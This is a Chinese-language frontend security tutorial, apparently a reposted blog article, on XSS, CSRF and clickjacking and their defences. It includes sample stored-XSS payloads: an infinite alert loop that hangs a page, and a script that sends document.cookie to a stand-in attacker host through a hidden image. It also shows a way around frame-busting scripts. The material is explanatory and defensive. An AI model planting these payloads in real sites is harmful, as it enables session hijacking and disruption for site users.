前端安全知識

原文鏈接 https://jkchao.cn/article/59d...

XSS

xss: 跨站腳本攻擊（Cross Site Scripting）是最多見和基本的攻擊 WEB 網站方法，攻擊者經過注入非法的 html 標籤或者 javascript 代碼，從而當用戶瀏覽該網頁時，控制用戶瀏覽器。

xss 主要分爲三類：

• DOM xss :

  DOM即文本對象模型，DOM一般表明在html、xhtml和xml中的對象，使用DOM能夠容許程序和腳本動態的訪問和更新文檔的內容、結構和樣式。它不須要服務器解析響應的直接參與，觸發XSS靠的是瀏覽器端的DOM解析，能夠認爲徹底是客戶端的事情。

• 反射型 xss :

  反射型XSS也被稱爲非持久性XSS，是如今最容易出現的一種XSS漏洞。發出請求時，XSS代碼出如今URL中，最後輸入提交到服務器，服務器解析後在響應內容中出現這段XSS代碼，最後瀏覽器解析執行。

• 存儲型 xss :

  存儲型XSS又被稱爲持久性XSS，它是最危險的一種跨站腳本，相比反射型XSS和DOM型XSS具備更高的隱蔽性，因此危害更大，由於它不須要用戶手動觸發。 容許用戶存儲數據的web程序均可能存在存儲型XSS漏洞，當攻擊者提交一段XSS代碼後，被服務器端接收並存儲，當全部瀏覽者訪問某個頁面時都會被XSS，其中最典型的例子就是留言板。

跨站腳本攻擊可能形成如下影響：

• 利用虛假輸入表單騙取用戶我的信息。
• 利用腳本竊取用戶的 Cookie 值，被害者在不知情的狀況下，幫助攻擊者發送惡意請求。
• 顯示僞造的文章或圖片。

存儲型 xss 案例

在項目開發中，評論是個常見的功能，若是直接把評論的內容保存到數據庫，那麼顯示的時候就可能被攻擊。

• 若是你只是想試試 xss，能夠這樣：

  <font size="100" color="red">試試水</font>

• 若是帶點惡意，能夠這樣：

  <script>
      while (true) {
          alert('Hello')
      }
  </script>

  這時，網站就掛了。

• 固然，最多見 xss 攻擊是讀取 Cookie：

  <script>
      alert(document.cookie)
  </script>

  Cookie 發送給攻擊者的站點：

  var img = document.createElement('img')
  img.src='http://www.xss.com?cookie=' + document.cookie
  img.style.display='none'
  document.getElementsByTagName('body')[0].appendChild(img)

  當前用戶的登陸憑證存儲於服務器的 session 中，而在瀏覽器中是以 cookie 的形式存儲的。若是攻擊者能獲取到用戶登陸憑證的 Cookie，甚至能夠繞開登陸流程，直接設置這個 Cookie 值，來訪問用戶的帳號。

防護

按理說，只要有輸入數據的地方，就可能存在 XSS 危險。

• httpOnly: 在 cookie 中設置 HttpOnly 屬性後，js腳本將沒法讀取到 cookie 信息。

  // koa
  ctx.cookies.set(name, value, {
      httpOnly: true // 默認爲 true
  })

• 過濾

• • 輸入檢查，通常是用於對於輸入格式的檢查，例如：郵箱，電話號碼，用戶名，密碼……等，按照規定的格式輸入。

    不只僅是前端負責，後端也要作相同的過濾檢查。

    由於攻擊者徹底能夠繞過正常的輸入流程，直接利用相關接口向服務器發送設置。

  • HtmlEncode
    某些狀況下，不能對用戶數據進行嚴格過濾，須要對標籤進行轉換

    當用戶輸入<script>window.location.href=」http://www.baidu.com」;</script>, 最終保存結果爲 <script>window.location.href="http://www.baidu.com"</script>, 在展示時，瀏覽器會對這些字符轉換成文本內容，而不是一段能夠執行的代碼。

• JavaScriptEncode
  對下列字符加上反斜槓

  關於更多 HtmlEncode 和 JavaScriptEncode，請參考 http://www.cnblogs.com/loveso...

CSRF

csrf：跨站點請求僞造（Cross-Site Request Forgeries），也被稱爲 one-click attack 或者 session riding。冒充用戶發起請求（在用戶不知情的狀況下）， 完成一些違背用戶意願的事情（如修改用戶信息，刪初評論等）。

可能會形成如下影響：

• 利用已經過認證的用戶權限更新設定信息等；
• 利用已經過認證的用戶權限購買商品；
• 利用已經過的用戶權限在留言板上發表言論。

一張圖瞭解原理：

簡而言之：網站過度相信用戶。

與 xss 區別

• 一般來講 CSRF 是由 XSS 實現的，CSRF 時常也被稱爲 XSRF（CSRF 實現的方式還能夠是直接經過命令行發起請求等）。
• 本質上講，XSS 是代碼注入問題，CSRF 是 HTTP 問題。XSS 是內容沒有過濾致使瀏覽器將攻擊者的輸入當代碼執行。CSRF 則是由於瀏覽器在發送 HTTP 請求時候自動帶上 cookie，而通常網站的 session 都存在 cookie裏面。
• 來自某乎的一個栗子：

案例

好比某網站的轉帳操做

受害者張三給李四轉帳100，

經過對銀行的網站發起請求 http://bank.example/transfer?... ，

一般狀況下，該請求發出後，服務器端會檢查 session 是否合法，而且張三已經登陸成功，

黑客王五能夠本身給銀行發送一個請求 http://bank.example/transfer?... ，可是這個請求來自王五，而不是張三，他並不能經過安全認證。他須要張三的 session 。

王五本身作了一個網站，放入以下代碼 http://bank.example/transfer?... ，
用各類方式誘使張三點擊本身的網站。

張三登陸了銀行的網站沒有退出，訪問了黑客王五的網站，上述的 url 就會向銀行發起請求。

若是session沒有過時，這時悲劇就發生了，張三的帳戶裏少了1000。

防護

• 驗證碼；強制用戶必須與應用進行交互，才能完成最終請求。此種方式能很好的遏制 csrf，可是用戶體驗比較差。
• 儘可能使用 post ，限制 get 使用；上一個例子可見，get 太容易被拿來作 csrf 攻擊，可是 post 也並非萬無一失，攻擊者只須要構造一個form就能夠。
• Referer check；請求來源限制，此種方法成本最低，可是並不能保證 100% 有效，由於服務器並非何時都能取到 Referer，並且低版本的瀏覽器存在僞造 Referer 的風險。

• token；token 驗證的 CSRF 防護機制是公認最合適的方案。

  總體思路以下：

  • 第一步：後端隨機產生一個 token，把這個token 保存到 session 狀態中；同時後端把這個token 交給前端頁面；
  • 第二步：前端頁面提交請求時，把 token 加入到請求數據或者頭信息中，一塊兒傳給後端；
  • 後端驗證前端傳來的 token 與 session 是否一致，一致則合法，不然是非法請求。

**若網站同時存在 XSS 漏洞的時候，這個方法也是空談。**

Clickjacking

Clickjacking： 點擊劫持，是指利用透明的按鈕或鏈接作成陷阱，覆蓋在 Web 頁面之上。而後誘使用戶在不知情的狀況下，點擊那個鏈接訪問內容的一種攻擊手段。這種行爲又稱爲界面假裝(UI Redressing) 。

大概有兩種方式：

• 攻擊者使用一個透明 iframe，覆蓋在一個網頁上，而後誘使用戶在該頁面上進行操做，此時用戶將在不知情的狀況下點擊透明的 iframe 頁面；
• 攻擊者使用一張圖片覆蓋在網頁，遮擋網頁原有的位置含義。

案例

一張圖瞭解

通常步驟

• 黑客建立一個網頁利用 iframe 包含目標網站；
• 隱藏目標網站，使用戶沒法沒法察覺到目標網站存在；
• 構造網頁，誘變用戶點擊特色按鈕
• 用戶在不知情的狀況下點擊按鈕，觸發執行惡意網頁的命令。

防護

• X-FRAME-OPTIONS；

  X-FRAME-OPTIONS HTTP 響應頭是用來給瀏覽器指示容許一個頁面能否在<frame>, <iframe> 或者 <object> 中展示的標記。網站可使用此功能，來確保本身網站內容沒有被嵌到別人的網站中去，也從而避免點擊劫持的攻擊。

  有三個值：

  • DENY：表示頁面不容許在 frame 中展現，即使是在相同域名的頁面中嵌套也不容許。
  • SAMEORIGIN：表示該頁面能夠在相同域名頁面的 frame 中展現。
  • ALLOW-FROM url：表示該頁面能夠在指定來源的 frame 中展現。

配置 X-FRAME-OPTIONS：

- Apache 

把下面這行添加到 'site' 的配置中：

```
Header always append X-Frame-Options SAMEORIGIN
```

- nginx

把下面這行添加到 'http', 'server' 或者 'location'，配置中

```
add_header X-Frame-Options SAMEORIGIN;
```

- IIS

添加下面配置到 Web.config 文件中

```
    <system.webServer>
  ...

  <httpProtocol>
    <customHeaders>
      <add name="X-Frame-Options" value="SAMEORIGIN" />
    </customHeaders>
  </httpProtocol>

  ...
</system.webServer>

```

• js 判斷頂層窗口跳轉，可輕易破解，意義不大；

function locationTop(){
     if (top.location != self.location) {
        top.location = self.location; return false;
     }
     return true; 
    }
locationTop();

// 破解：
// 頂層窗口中放入代碼
var location = document.location;
//或者
var location = "";